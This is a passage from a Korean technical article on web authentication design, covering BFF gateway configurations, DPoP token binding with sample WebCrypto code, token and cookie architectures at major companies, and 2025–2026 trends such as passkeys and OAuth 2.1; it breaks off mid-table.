7.4 구현 예시: Spring Cloud Gateway
# application.yml (Spring Cloud Gateway + TokenRelay)
spring:
cloud:
gateway:
routes:
- id: api-service
uri: http://api-server:8080
predicates:
- Path=/api/**
filters:
- TokenRelay # 자동으로 세션의 AT를 Bearer 헤더로 변환
- RemoveRequestHeader=Cookie # 쿠키가 API 서버에 전달되지 않도록
security:
oauth2:
client:
registration:
keycloak:
client-id: bff-client
client-secret: ${CLIENT_SECRET} # Confidential Client
authorization-grant-type: authorization_code
scope: openid, profile
redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
provider:
keycloak:
issuer-uri: https://auth.example.com/realms/main
session:
store-type: redis # 세션을 Redis에 저장
timeout: 30m
┌─────────────────────────────────────────────────────────────────────────────┐
│ Spring Cloud Gateway TokenRelay 흐름 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 브라우저 → Gateway: GET /api/users (JSESSIONID 쿠키 포함) │
│ 2. Gateway: JSESSIONID로 Spring Session 조회 (Redis) │
│ 3. Gateway: 세션에서 OAuth2AuthorizedClient 추출 │
│ 4. TokenRelay 필터: AT를 Authorization: Bearer {AT}로 변환 │
│ 5. RemoveRequestHeader: Cookie 헤더 제거 (API 서버에 전달 방지) │
│ 6. Gateway → API Server: Bearer 토큰만 포함된 요청 전달 │
│ 7. AT 만료 시: Gateway가 RT로 자동 갱신 (ReactiveOAuth2AuthorizedClient) │
│ │
│ 장점: │
│ - 코드 한 줄 없이 YAML 설정만으로 BFF 구현 │
│ - 토큰 갱신 자동 처리 │
│ - 기존 Spring Security 생태계 활용 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.5 구현 예시: Express.js
// express-bff.js
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const passport = require('passport');
const OAuth2Strategy = require('passport-oauth2');
const app = express();
// 세션 설정
app.use(session({
store: new RedisStore({ client: redisClient }),
name: '__Host-Http-SID',
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
maxAge: 24 * 60 * 60 * 1000, // 24시간
},
}));
// OAuth2 전략 설정 (Confidential Client)
passport.use(new OAuth2Strategy({
authorizationURL: 'https://auth.example.com/authorize',
tokenURL: 'https://auth.example.com/token',
clientID: process.env.CLIENT_ID,
clientSecret: process.env.CLIENT_SECRET, // BFF만 가능!
callbackURL: '/auth/callback',
},
(accessToken, refreshToken, profile, done) => {
// 토큰을 세션에 저장 (브라우저에 노출하지 않음)
done(null, { accessToken, refreshToken, profile });
}
));
// API 프록시 미들웨어
app.use('/api', async (req, res) => {
if (!req.user) return res.status(401).json({ error: 'Unauthorized' });
let { accessToken, refreshToken } = req.user;
// AT 만료 시 갱신
if (isExpired(accessToken)) {
const newTokens = await refreshTokens(refreshToken);
accessToken = newTokens.access_token;
req.user.accessToken = accessToken;
req.user.refreshToken = newTokens.refresh_token || refreshToken;
}
// API 서버로 프록시
const apiResponse = await fetch(`${API_SERVER}${req.path}`, {
method: req.method,
headers: {
Authorization: `Bearer ${accessToken}`,
'Content-Type': 'application/json',
},
body: ['POST', 'PUT', 'PATCH'].includes(req.method) ? JSON.stringify(req.body) : undefined,
});
res.status(apiResponse.status).json(await apiResponse.json());
});
7.6 Curity Token Handler 패턴
┌─────────────────────────────────────────────────────────────────────────────┐
│ Curity Token Handler 패턴 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Curity의 접근법: BFF를 두 개의 독립 컴포넌트로 분리 │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ OAuth Agent │ │ OAuth Proxy │ │
│ │ SPA │───→│ (쿠키 발급) │ │ (토큰 교환) │───→ API │
│ │ (React) │←───│ │ │ │←─── Server │
│ │ │ └──────────────┘ └──────────────┘ │
│ └─────────────┘ │
│ │
│ OAuth Agent: │
│ ├── OAuth 흐름 처리 (로그인, 콜백, 토큰 수신) │
│ ├── 토큰을 암호화하여 HttpOnly 쿠키로 분할 저장 │
│ │ (AT → at-cookie, RT → rt-cookie, ID → id-cookie) │
│ └── CSRF 토큰 관리 │
│ │
│ OAuth Proxy: │
│ ├── API 요청 시 쿠키에서 AT 복호화 │
│ ├── Authorization: Bearer 헤더로 변환 │
│ ├── 쿠키 제거 후 API 서버에 전달 │
│ └── Reverse Proxy (NGINX, Kong 등)에 플러그인으로 배포 가능 │
│ │
│ 장점: │
│ - SPA 코드 변경 최소화 (Agent는 API 엔드포인트, Proxy는 투명) │
│ - 상태 비저장 (Stateless): Redis 불필요, 쿠키 자체가 암호화된 토큰 저장 │
│ - 기존 API Gateway에 Proxy 플러그인만 추가하면 됨 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.7 Duende BFF (.NET)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Duende BFF (.NET 엔터프라이즈) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ .NET 생태계의 BFF 구현체 (IdentityServer의 후속) │
│ │
│ 특징: │
│ ├── ASP.NET Core 미들웨어로 제공 │
│ ├── YARP (Yet Another Reverse Proxy) 기반 API 프록시 │
│ ├── 반자동 CSRF 방어 (X-CSRF 헤더 자동 검증) │
│ ├── 세션 관리 + 토큰 갱신 자동 처리 │
│ └── 엔터프라이즈 라이센스 (IdentityServer 통합) │
│ │
│ C# 설정 예시: │
│ builder.Services.AddBff(); │
│ builder.Services.AddAuthentication(options => { │
│ options.DefaultScheme = "Cookies"; │
│ options.DefaultChallengeScheme = "oidc"; │
│ }) │
│ .AddCookie("Cookies", options => { │
│ options.Cookie.Name = "__Host-Http-bff"; │
│ options.Cookie.SameSite = SameSiteMode.Strict; │
│ }) │
│ .AddOpenIdConnect("oidc", options => { ... }); │
│ │
│ app.MapBffManagementEndpoints(); // /bff/login, /bff/logout 등 │
│ app.MapRemoteBffApiEndpoint("/api", "https://api.example.com") │
│ .RequireAccessToken(); │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
8. OAuth 2.0 DPoP (Proof-of-Possession)
8.1 DPoP란?
┌─────────────────────────────────────────────────────────────────────────────┐
│ DPoP: Demonstration of Proof-of-Possession │
│ RFC 9449 (2023년 9월) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 문제: Bearer Token은 "소지한 자가 곧 소유자" │
│ → 토큰이 탈취되면 누구든 사용 가능 │
│ │
│ 해결: DPoP는 토큰을 클라이언트의 암호화 키 쌍에 바인딩 │
│ → 토큰이 탈취되어도 개인키 없이는 사용 불가 │
│ │
│ 일반 Bearer Token: │
│ ┌──────────────────────────────────────────────┐ │
│ │ 토큰 탈취 → 즉시 사용 가능 (키 불필요) │ │
│ └──────────────────────────────────────────────┘ │
│ │
│ DPoP-bound Token: │
│ ┌──────────────────────────────────────────────┐ │
│ │ 토큰 탈취 → 개인키 없으면 사용 불가 │ │
│ │ (매 요청마다 개인키로 DPoP proof 서명 필요) │ │
│ └──────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
8.2 DPoP 4단계 흐름
┌─────────────────────────────────────────────────────────────────────────────┐
│ DPoP 전체 흐름 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: 클라이언트가 키 쌍 생성 │
│ Step 2: DPoP Proof JWT 생성 (개인키로 서명) │
│ Step 3: 토큰 요청 시 DPoP 헤더에 proof 포함 │
│ Step 4: API 요청 시 매번 새 proof 생성 (ath 포함) │
│ │
│ 클라이언트 인가 서버 리소스 서버 │
│ │ │ │ │
│ │ 1. 키 쌍 생성 │ │ │
│ │ (pub + priv) │ │ │
│ │ │ │ │
│ │ 2. DPoP proof 생성 │ │ │
│ │ + 토큰 요청 │ │ │
│ │ ────────────────────→ │ │ │
│ │ POST /token │ │ │
│ │ DPoP: {proof JWT} │ │ │
│ │ │ 3. proof 검증 │ │
│ │ │ 공개키를 AT에 바인딩│ │
│ │ ←──────────────────── │ │ │
│ │ token_type: "DPoP" │ │ │
│ │ access_token: {AT} │ │ │
│ │ │ │ │
│ │ 4. API 요청 (매번 새 proof) │ │
│ │ ──────────────────────────────────────────────→│ │
│ │ Authorization: DPoP {AT} │ │
│ │ DPoP: {새 proof JWT, ath=hash(AT)} │ │
│ │ │ │ 5. proof + AT 검증 │
│ │ ←─────────────────────────────────────────────│ │
│ │ 200 OK │ │ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: 키 쌍 생성 (WebCrypto API)
// 브라우저에서 키 쌍 생성
const keyPair = await crypto.subtle.generateKey(
{
name: 'ECDSA',
namedCurve: 'P-256',
},
false, // extractable: false → 개인키를 내보낼 수 없음!
['sign', 'verify']
);
// 공개키를 JWK 형식으로 추출 (DPoP proof 헤더에 포함)
const publicJwk = await crypto.subtle.exportKey('jwk', keyPair.publicKey);
// { "kty": "EC", "crv": "P-256", "x": "...", "y": "..." }
// 개인키는 IndexedDB에 저장 (extractable: false이므로 내보내기 불가)
const db = await openDB('dpop-keys', 1);
await db.put('keys', keyPair.privateKey, 'dpop-private-key');
Step 2-3: DPoP Proof 생성 및 토큰 요청
// DPoP Proof JWT 구조
const dpopProofHeader = {
typ: 'dpop+jwt', // 타입: DPoP proof
alg: 'ES256', // 서명 알고리즘
jwk: publicJwk, // 공개키 포함 (서버가 검증용으로 사용)
};
const dpopProofPayload = {
jti: crypto.randomUUID(), // 고유 ID (재사용 방지)
htm: 'POST', // HTTP 메서드
htu: 'https://auth.example.com/oauth/token', // 요청 URL
iat: Math.floor(Date.now() / 1000), // 발급 시간
nonce: serverProvidedNonce, // 서버 제공 nonce (선택)
};
// 개인키로 서명하여 DPoP proof JWT 생성
const dpopProof = await signJwt(dpopProofHeader, dpopProofPayload, keyPair.privateKey);
// 토큰 요청
const tokenResponse = await fetch('https://auth.example.com/oauth/token', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'DPoP': dpopProof, // DPoP proof 헤더
},
body: new URLSearchParams({
grant_type: 'authorization_code',
code: authCode,
code_verifier: pkceVerifier,
client_id: 'spa-client',
}),
});
const { access_token, token_type } = await tokenResponse.json();
// token_type: "DPoP" (Bearer가 아님!)
Step 4: API 요청 시 DPoP proof 포함
// 매 API 요청마다 새 DPoP proof 생성
async function dpopApiCall(url, method = 'GET') {
// AT의 SHA-256 해시 (ath claim)
const atHash = await sha256(accessToken);
const proof = await createDpopProof({
htm: method,
htu: url,
ath: atHash, // Access Token Hash → AT와 proof를 바인딩
});
return fetch(url, {
method,
headers: {
Authorization: `DPoP ${accessToken}`, // Bearer 대신 DPoP
DPoP: proof,
},
});
}
8.3 DPoP vs mTLS 비교
┌──────────────────────────────────────────────────────────────────────────────────┐
│ DPoP vs mTLS 비교 │
├────────────────┬──────────────────────────────┬──────────────────────────────────┤
│ 항목 │ DPoP │ mTLS │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 표준 │ RFC 9449 (2023) │ RFC 8705 (2020) │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 바인딩 수준 │ Application Layer (HTTP) │ Transport Layer (TLS) │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 인증서 필요 │ ❌ 자체 생성 키 쌍 │ ✅ X.509 인증서 필요 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 브라우저 지원 │ ✅ WebCrypto API로 구현 │ ❌ 브라우저 인증서 관리 어려움 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 프록시 통과 │ ✅ HTTP 헤더이므로 통과 │ ⚠️ TLS 종료 시 바인딩 손실 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 적합 환경 │ SPA, 모바일 앱 │ 서버 간 통신, 서비스 메시 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 구현 복잡도 │ 중간 (JWT 서명) │ 높음 (PKI 인프라 필요) │
└────────────────┴──────────────────────────────┴──────────────────────────────────┘
8.4 DPoP 채택 현황 (2025-2026)
┌─────────────────────────────────────────────────────────────────────────────┐
│ DPoP 벤더 지원 현황 │
├────────────────────┬──────────────────────┬────────────────────────────────┤
│ 제품/서비스 │ DPoP 지원 상태 │ 비고 │
├────────────────────┼──────────────────────┼────────────────────────────────┤
│ Keycloak │ ✅ 26.4+ (프로덕션) │ 기본 설정으로 활성화 가능 │
│ Okta │ ✅ 프로덕션 지원 │ 2024년부터 GA │
│ Auth0 │ ⚠️ Early Access │ 일부 플랜에서 사용 가능 │
│ Microsoft Entra ID │ ❌ 미지원 │ 로드맵에 포함되어 있으나 미정 │
│ Ping Identity │ ✅ 프로덕션 지원 │ PingFederate 12+ │
│ Curity │ ✅ 프로덕션 지원 │ Token Handler와 통합 │
│ Spring Auth Server │ ✅ 1.3+ (프로덕션) │ Spring Security 6.3+ │
└────────────────────┴──────────────────────┴────────────────────────────────┘
9. 대기업 인증 구현 사례
9.1 Google
┌─────────────────────────────────────────────────────────────────────────────┐
│ Google 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 멀티 쿠키 시스템 (accounts.google.com): │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ SID - 기본 세션 ID (HttpOnly, Secure) │ │
│ │ HSID - HTTP 전용 보안 세션 (HttpOnly) │ │
│ │ SSID - Secure 전용 세션 (Secure + HttpOnly) │ │
│ │ APISID - API 호출용 (Secure) │ │
│ │ SAPISID - Same-site API 인증용 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ SAPISIDHASH Origin 검증: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ Authorization: SAPISIDHASH {timestamp}_{hash} │ │
│ │ │ │
│ │ hash = SHA-1(timestamp + " " + SAPISID + " " + origin) │ │
│ │ │ │
│ │ - 타임스탬프: 요청 시점 (재사용 방지) │ │
│ │ - SAPISID: 쿠키 값 (사용자 인증) │ │
│ │ - Origin: 요청 출처 (도메인 바인딩) │ │
│ │ │ │
│ │ → Origin이 해시에 포함되어 있어 다른 도메인에서 재사용 불가 │ │
│ │ → DPoP 이전의 자체적 토큰 바인딩 메커니즘 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ OAuth 2.0 / OIDC: │
│ - RS256 서명 JWT ID Token │
│ - Access Token: 1시간 수명 │
│ - Refresh Token: 6개월 (비활성 시 자동 만료) │
│ - PKCE 지원, Implicit Grant 비권장 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.2 GitHub
┌─────────────────────────────────────────────────────────────────────────────┐
│ GitHub 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 세션 쿠키: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ __Host-user_session_same_site = {encrypted_session} │ │
│ │ HttpOnly; Secure; SameSite=Strict; Path=/ │ │
│ │ │ │
│ │ __Host- 접두사 사용 이유: │ │
│ │ → Cookie Tossing 방어 │ │
│ │ → 서브도메인(*.github.com)에서 세션 쿠키 덮어쓰기 방지 │ │
│ │ → GitHub Pages (*.github.io)에서의 쿠키 조작 차단 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Fine-Grained Personal Access Token (PAT): │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ - 50개 이상의 세분화된 권한 (repository, issues, PR, actions 등) │ │
│ │ - 필수 만료일 설정 (최대 1년, 무기한 불가) │ │
│ │ - Organization 승인 필요 (관리자가 허용해야 사용 가능) │ │
│ │ - IP 허용 목록 설정 가능 │ │
│ │ - Classic PAT 대비 최소 권한 원칙 적용 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ GitHub App Installation Token: │
│ - JWT로 앱 인증 → Installation Token 발급 (1시간 수명) │
│ - 설치된 저장소에만 접근 가능 (최소 권한) │
│ - 조직 수준 권한 관리 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.3 Netflix
┌─────────────────────────────────────────────────────────────────────────────┐
│ Netflix 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Edge Authentication Service (EAS) + Passport 패턴: │
│ │
│ 클라이언트 Zuul Gateway 내부 서비스들 │
│ ┌─────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ │ │ 사용자 서비스│ │
│ │ 브라우저│───→│ Zuul + EAS │─────→│ │ │
│ │ / 앱 │ │ │ ├──────────────┤ │
│ │ │←───│ 토큰 종료 │ │ 추천 서비스 │ │
│ │ │ │ Passport 발급│ │ │ │
│ └─────────┘ └──────┬───────┘ ├──────────────┤ │
│ │ │ 결제 서비스 │ │
│ │ └──────────────┘ │
│ │ │
│ ┌────────────▼────────────┐ │
│ │ Passport 구조 │ │
│ ├─────────────────────────┤ │
│ │ - Protobuf 직렬화 │ │
│ │ - HMAC 서명 (무결성) │ │
│ │ - 사용자 ID │ │
│ │ - 디바이스 정보 │ │
│ │ - 국가/리전 │ │
│ │ - 구독 정보 │ │
│ └─────────────────────────┘ │
│ │
│ 핵심 원칙: │
│ 1. 외부 토큰(쿠키/OAuth)은 Edge(Zuul)에서 종료 │
│ → 내부 서비스는 외부 토큰 형식을 모름 │
│ 2. Passport라는 내부 전용 인증 컨텍스트 전파 │
│ → Protobuf 기반, HMAC 서명으로 변조 방지 │
│ 3. 하위 서비스는 토큰 검증 불필요 (Token-Agnostic) │
│ → Passport만 파싱하면 사용자 정보 접근 가능 │
│ 4. 토큰 형식 변경 시 Gateway만 수정 (하위 서비스 무영향) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.4 Auth0
┌─────────────────────────────────────────────────────────────────────────────┐
│ Auth0 SPA SDK 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2025 Auth0 SPA 권장 구조: │
│ │
│ Access Token → In-Memory (Web Worker 권장) │
│ Refresh Token → Rotation + HttpOnly 쿠키 (또는 In-Memory) │
│ OAuth Flow → Authorization Code + PKCE only │
│ │
│ 핵심 변화: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 과거 (2020 이전): │ │
│ │ - iframe 기반 Silent Authentication (prompt=none) │ │
│ │ - 서드파티 쿠키로 인가 서버 세션 확인 │ │
│ │ - 페이지 새로고침 시 iframe으로 새 AT 발급 │ │
│ │ │ │
│ │ 현재 (2025): │ │
│ │ - Silent Auth 공식 비권장 (서드파티 쿠키 차단) │ │
│ │ - Refresh Token Rotation 사용 │ │
│ │ - useRefreshTokens: true (SDK 기본 설정) │ │
│ │ - cacheLocation: 'memory' (기본, localStorage 비권장) │ │
│ │ - useRefreshTokensFallback: false (silent auth 폴백 비활성화) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Reuse Detection 설정: │
│ Auth0 Dashboard > Settings > Rotation > Enable Reuse Detection │
│ → 재사용 감지 시 자동으로 Token Family 전체 무효화 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.5 Okta
┌─────────────────────────────────────────────────────────────────────────────┐
│ Okta 인증 아키텍처 변화 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 쿠키 마이그레이션: │
│ ├── 과거: sid 쿠키 (Okta 세션) │
│ └── 현재: idx 쿠키 (Identity Engine 기반) │
│ │
│ Silent Auth → Refresh Token 전환: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 과거: │ │
│ │ - iframe에서 /authorize?prompt=none으로 AT 갱신 │ │
│ │ - Okta sid 쿠키(서드파티)로 세션 확인 │ │
│ │ │ │
│ │ 현재: │ │
│ │ - offline_access 스코프로 RT 발급 │ │
│ │ - RT로 AT 갱신 (서드파티 쿠키 불필요) │ │
│ │ - Token Rotation 기본 활성화 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Okta SPA SDK 설정: │
│ const oktaAuth = new OktaAuth({ │
│ issuer: 'https://dev-xxx.okta.com/oauth2/default', │
│ clientId: 'spa-client-id', │
│ redirectUri: window.location.origin + '/callback', │
│ scopes: ['openid', 'profile', 'offline_access'], // RT 발급 │
│ tokenManager: { │
│ storage: 'memory', // 메모리 저장 권장 │
│ }, │
│ }); │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.6 Spotify
┌─────────────────────────────────────────────────────────────────────────────┐
│ Spotify 인증 변화 (2025) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2025년 11월 주요 변경사항: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. Implicit Grant 완전 제거 │ │
│ │ → PKCE가 유일한 공개 클라이언트 흐름 │ │
│ │ │ │
│ │ 2. HTTP Redirect URI 제거 │ │
│ │ → HTTPS만 허용 (localhost 제외) │ │
│ │ │ │
│ │ 3. Access Token: Opaque 형식, 1시간 수명 │ │
│ │ → JWT가 아닌 Opaque Token 사용 (서버 측 검증) │ │
│ │ │ │
│ │ 4. PKCE 필수화 │ │
│ │ → code_verifier/code_challenge 없이는 토큰 발급 거부 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.7 AWS Cognito
┌─────────────────────────────────────────────────────────────────────────────┐
│ AWS Cognito 토큰 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Triple Token 구조: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ ID Token (JWT, RS256) │ │
│ │ ├── 사용자 프로필 정보 포함 (name, email, custom attributes) │ │
│ │ ├── 프론트엔드에서 사용자 정보 표시용 │ │
│ │ └── API 인증에 사용하면 안 됨! (OIDC 표준 위반) │ │
│ │ │ │
│ │ Access Token (JWT, RS256) │ │
│ │ ├── scope, groups, client_id 포함 │ │
│ │ ├── API Gateway / Resource Server 인증용 │ │
│ │ └── 기본 1시간 수명 (5분~24시간 설정 가능) │ │
│ │ │ │
│ │ Refresh Token (Opaque) │ │
│ │ ├── Cognito User Pool에서만 사용 가능 │ │
│ │ ├── 기본 30일 수명 (1시간~10년 설정 가능) │ │
│ │ └── 서버 사이드 저장, 즉시 폐기 가능 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ AWS Amplify v6 저장 전략: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ Amplify.configure({ │ │
│ │ Auth: { │ │
│ │ Cognito: { │ │
│ │ userPoolId: 'us-east-1_xxx', │ │
│ │ userPoolClientId: 'xxx', │ │
│ │ } │ │
│ │ } │ │
│ │ }, { │ │
│ │ // 플러그형 저장소 선택 │ │
│ │ storage: localStorage, // 기본값 (SPA) │ │
│ │ // storage: sessionStorage, // 탭별 격리 │ │
│ │ // storage: cookieStorage, // SSR용 (자동 선택) │ │
│ │ // storage: customStorage, // 커스텀 구현 │ │
│ │ }); │ │
│ │ │ │
│ │ SSR 모드 (Next.js): │ │
│ │ → Amplify가 자동으로 CookieStorage 선택 │ │
│ │ → 서버에서 쿠키로 토큰 접근 가능 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.8 Clerk
┌─────────────────────────────────────────────────────────────────────────────┐
│ Clerk 하이브리드 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 핵심 아이디어: 60초 단기 JWT + 상태 기반 세션 │
│ │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ __client_uat 쿠키 (세션 활성 타임스탬프) │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 브라우저 → Clerk Frontend API: "세션 살아있나?" │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 60초 단기 JWT 발급 (서명 검증만으로 인증) │ │
│ │ │ │ │
│ │ ├── 50초 시점: 백그라운드 폴러가 새 JWT 갱신 │ │
│ │ │ (사용자 무관여, Web Worker 또는 setInterval) │ │
│ │ │ │ │
│ │ └── JWT 포함 정보: │ │
│ │ - sub (사용자 ID) │ │
│ │ - org_id (조직) │ │
│ │ - permissions │ │
│ │ - exp (60초 후) │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 폐기(Revocation) 전파: │
│ - 관리자가 세션 폐기 → 최대 60초 내 모든 JWT 자연 만료 │
│ - 즉각적 차단 필요 시: 서버에서 세션 ID 블랙리스트 확인 │
│ - 트레이드오프: 60초 지연 허용 vs 매 요청 DB 조회 비용 │
│ │
│ 장점: │
│ - 대부분의 요청에서 DB 조회 불필요 (JWT 서명 검증만) │
│ - 폐기 지연이 60초로 매우 짧음 (일반 JWT의 5-15분 대비) │
│ - 백그라운드 폴링으로 사용자 경험 무중단 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.9 Supabase
┌─────────────────────────────────────────────────────────────────────────────┐
│ Supabase (GoTrue 기반) 인증 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ GoTrue: Netlify에서 시작된 오픈소스 인증 서버 (Go 언어) │
│ │
│ 토큰 구조: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ Access Token (JWT): │ │
│ │ { │ │
│ │ "sub": "user-uuid-xxx", │ │
│ │ "session_id": "sess-uuid-yyy", // ← 핵심: 세션 ID 포함 │ │
│ │ "role": "authenticated", │ │
│ │ "aal": "aal1", // Authentication Assurance Level │ │
│ │ "exp": 1741219200 │ │
│ │ } │ │
│ │ │ │
│ │ session_id가 JWT에 포함되어 있어서: │ │
│ │ → 서버에서 session_id로 세션 유효성 실시간 확인 가능 │ │
│ │ → JWT 자체 검증 + 세션 상태 확인 이중 검증 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Refresh Token: │
│ ├── 단일 사용 (Single-Use): 한 번 사용되면 즉시 무효화 │
│ ├── Token Family 추적: 같은 세션의 모든 RT 계보 관리 │
│ ├── 재사용 감지 시: 해당 Family 전체 무효화 + 강제 재로그인 │
│ └── 기본 수명: 무기한 (세션 활성 상태 기준) │
│ │
│ 저장 전략: │
│ ├── 브라우저: localStorage (기본) 또는 커스텀 스토리지 │
│ ├── SSR: cookieStorage (Next.js, SvelteKit 등) │
│ └── React Native: SecureStore │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10. 2025-2026 인증 트렌드
10.1 Passkeys / WebAuthn
┌─────────────────────────────────────────────────────────────────────────────┐
│ Passkey 채택 현황 (2025-2026) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 대규모 채택: │
│ ├── Google: 8억 계정에서 Passkey 사용 가능 │
│ ├── Amazon: 1.75억 사용자가 Passkey 설정 │
│ ├── Microsoft: 기본 로그인 방식으로 Passkey 채택 │
│ ├── Apple: iCloud Keychain으로 Passkey 동기화 │
│ └── PayPal, eBay, Shopify, LinkedIn 등 확산 중 │
│ │
│ 기술 현황: │
│ ├── 성공률 98% (비밀번호 대비 현저히 높음) │
│ ├── WebAuthn Level 3 (2026년 1월 W3C 권고) │
│ │ └── 조건부 UI, 하이브리드 전송, attestation 개선 │
│ ├── NIST AAL2 인정 (다중 인증과 동등한 보안 수준) │
│ └── 피싱 저항: Origin 바인딩으로 피싱 사이트에서 사용 불가 │
│ │
│ Passkey 동작 원리: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 등록: │ │
│ │ 1. 서버 → 챌린지 전송 │ │
│ │ 2. 인증기(Touch ID, Face ID, Windows Hello)가 키 쌍 생성 │ │
│ │ 3. 공개키를 서버에 등록, 개인키는 디바이스/클라우드에 저장 │ │
│ │ │ │
│ │ 인증: │ │
│ │ 1. 서버 → 챌린지 전송 │ │
│ │ 2. 인증기가 개인키로 챌린지 서명 (생체/PIN 인증 후) │ │
│ │ 3. 서버가 공개키로 서명 검증 │ │
│ │ │ │
│ │ 보안: │ │
│ │ - Origin 바인딩: 등록된 도메인에서만 사용 가능 │ │
│ │ - 피싱 불가: evil.com에서 example.com의 Passkey 사용 불가 │ │
│ │ - 서버에 비밀 없음: 공개키만 저장 (유출되어도 안전) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.2 서드파티 쿠키 정책 변화
┌─────────────────────────────────────────────────────────────────────────────┐
│ 서드파티 쿠키 정책 (2025) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Google의 반전 (2025년 10월): │
│ ├── Privacy Sandbox 계획 철회 │
│ ├── 서드파티 쿠키를 완전히 차단하지 않기로 결정 │
│ └── 대신 사용자 선택(User Choice) 방식 채택 │
│ │
│ 생존한 Privacy API들: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ CHIPS (Partitioned Cookies) │ │
│ │ → 서드파티 쿠키를 Top-Level Site별로 파티션 │ │
│ │ │ │
│ │ FedCM (Federated Credential Management) │ │
│ │ → 브라우저 네이티브 연합 로그인 UI │ │
│ │ │ │
│ │ Private State Tokens │ │
│ │ → 봇 탐지용 익명 증명 │ │
│ │ │ │
│ │ Storage Access API │ │
│ │ → 사용자 동의 기반 크로스사이트 저장소 접근 │ │
│ │ │ │
│ │ Related Website Sets │ │
│ │ → 관련 도메인 그룹의 쿠키 공유 (First-Party Sets 후속) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 인증에 미치는 영향: │
│ - iframe silent auth는 여전히 불안정 (브라우저마다 정책 다름) │
│ - RT 기반 갱신이 업계 표준으로 정착 │
│ - FedCM이 소셜 로그인의 새 표준으로 부상 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.3 OAuth 2.1
┌─────────────────────────────────────────────────────────────────────────────┐
│ OAuth 2.1 주요 변경사항 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ OAuth 2.0 (RFC 6749, 2012) → OAuth 2.1 (초안, 2025 최종화 예정) │
│ │
│ ┌──────────────────────────────┬────────────────────────────────────┐ │
│ │ 변경 사항 │ 영향 │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
